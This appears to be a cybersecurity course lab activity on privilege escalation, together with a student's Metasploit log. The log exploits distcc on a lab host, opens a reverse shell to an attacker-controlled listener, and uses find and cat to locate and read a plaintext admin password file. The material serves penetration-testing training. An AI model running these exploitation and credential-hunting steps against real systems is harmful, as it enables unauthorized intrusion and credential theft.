Cybersecurity

Activity File

# Activity File: Privilege Escalation

- In this activity, you will continue to play the role of a pen tester conducting an engagement on MegaCorpOne.
- You now have a low-privileged shell as the daemon user on the remote host.
- During a briefing meeting, MegaCorpOne explained that it was concerned that administrators were saving passwords in plain text on machines.
- You will need to determine if this has taken place.
- Additionally, you are now tasked with performing post-exploitation tasks to conduct proper enumeration, which could lead to privilege escalation.

⚠️ **Reminder** - Don't forget to save your findings, as you will add them to your report on Day 4!

## Instructions

While operating through the reverse shell in Metasploit, use `grep` or `find` to search for any interesting files.

**Hint 1:** Some keywords to search for include:

- admin
- key
- password
- secret

If you come across anything interesting that could be used for privilege escalation, perform the necessary actions to escalate your privileges from daemon to another user!

**Hint 2:** If you forget the syntax for `grep` or `find`, use the `man` tool or Google!

**Bonus:** Once you can escalate your privileges to another user, see if you can escalate that user's privileges to root.

Hint: You will need to start by sshing with this command (Update the username):

**`ssh -oHostKeyAlgorithms=+ssh-rsa username@172.22.117.150`**

```
msf6 > search distcc

Matching Modules
================

   #  Name                          Disclosure Date  Rank       Check  Description
   -  ----                          ---------------  ----       -----  -----------
   0  exploit/unix/misc/distcc_exec  2002-02-01       excellent  Yes    DistCC Daemon Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/misc/distcc_exec

msf6 > use 0
msf6 exploit(unix/misc/distcc_exec) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   1   payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IP
v6
   2   payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   3   payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IP
v6
   4   payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   5   payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (te
lnet)
   6   payload/cmd/unix/reverse_bash                                normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   7   payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telne
t)
   8   payload/cmd/unix/reverse_openssl                             normal  No     Unix Command Shell, Double Reverse TCP SSL
 (openssl)
   9   payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   10  payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via p
erl)
   11  payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   12  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via R
uby)
   13  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL
 (telnet)
```

```
msf6 exploit(unix/misc/distcc_exec) > set RHOSTS 172.22.117.150
RHOSTS => 172.22.117.150
msf6 exploit(unix/misc/distcc_exec) > set LHOSTS 172.22.117.100
LHOSTS => 172.22.117.100
msf6 exploit(unix/misc/distcc_exec) > options

Module options (exploit/unix/misc/distcc_exec):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  172.22.117.150   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Met
                                      asploit
   RPORT   3632             yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target


msf6 exploit(unix/misc/distcc_exec) > run

[-] 172.22.117.150:3632 - Exploit failed: A payload has not been selected.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/misc/distcc_exec) > set PAYLOAD 5
PAYLOAD => cmd/unix/reverse
msf6 exploit(unix/misc/distcc_exec) > run

[-] 172.22.117.150:3632 - Msf::OptionValidateError The following options failed to validate: LHOST
[*] Exploit completed, but no session was created.
```

```
msf6 exploit(unix/misc/distcc_exec) > set LHOST 172.22.117.100
LHOST => 172.22.117.100
msf6 exploit(unix/misc/distcc_exec) > run

[*] Started reverse TCP double handler on 172.22.117.100:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo zL2dEywuKTBLyTej;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "sh: line 2: Connected: command not found\r\nsh: line 3: Escape: command not found\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (172.22.117.100:4444 → 172.22.117.150:54336 ) at 2025-04-15 20:12:10 -0400


Shell Banner:
zL2dEywuKTBLyTej
```

```
whoami
daemon
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
find / -type f -iname "*admin*.txt"
find: /lost+found: Permission denied
find: /home/user/.ssh: Permission denied
find: /home/msfadmin/vulnerable/mysql-ssl/mysql-keys: Permission denied
/home/msfadmin/vulnerable/twiki20030201/twiki-source/data/Main/TWikiAdminGroup.txt
/home/msfadmin/vulnerable/twiki20030201/twiki-source/data/TWiki/AdminSkillsAssumptions.txt
/home/msfadmin/vulnerable/twiki20030201/twiki-source/data/TWiki/TWikiAdminCookBook.txt
```

```
find: /var/lib/mysql/dvwa: Permission denied
find: /var/lib/mysql/owasp10: Permission denied
find: /var/lib/mysql/metasploit: Permission denied
find: /var/lib/mysql/tikiwiki195: Permission denied
find: /var/lib/mysql/tikiwiki: Permission denied
find: /var/lib/postgresql/8.3/main: Permission denied
/var/tmp/adminpassword.txt
/var/www/twiki/data/Main/TWikiAdminGroup.txt
/var/www/twiki/data/TWiki/AdminSkillsAssumptions.txt
/var/www/twiki/data/TWiki/TWikiAdminCookBook.txt
find: /var/www/tikiwiki/templates_c/en: Permission denied
find: /var/www/tikiwiki/templates_c/enmenu42: Permission denied
```

```
cat /var/tmp/adminpassword.txt
Jim,

These are the admin credentials, do not share with anyone!


msfadmin:cybersecurity
```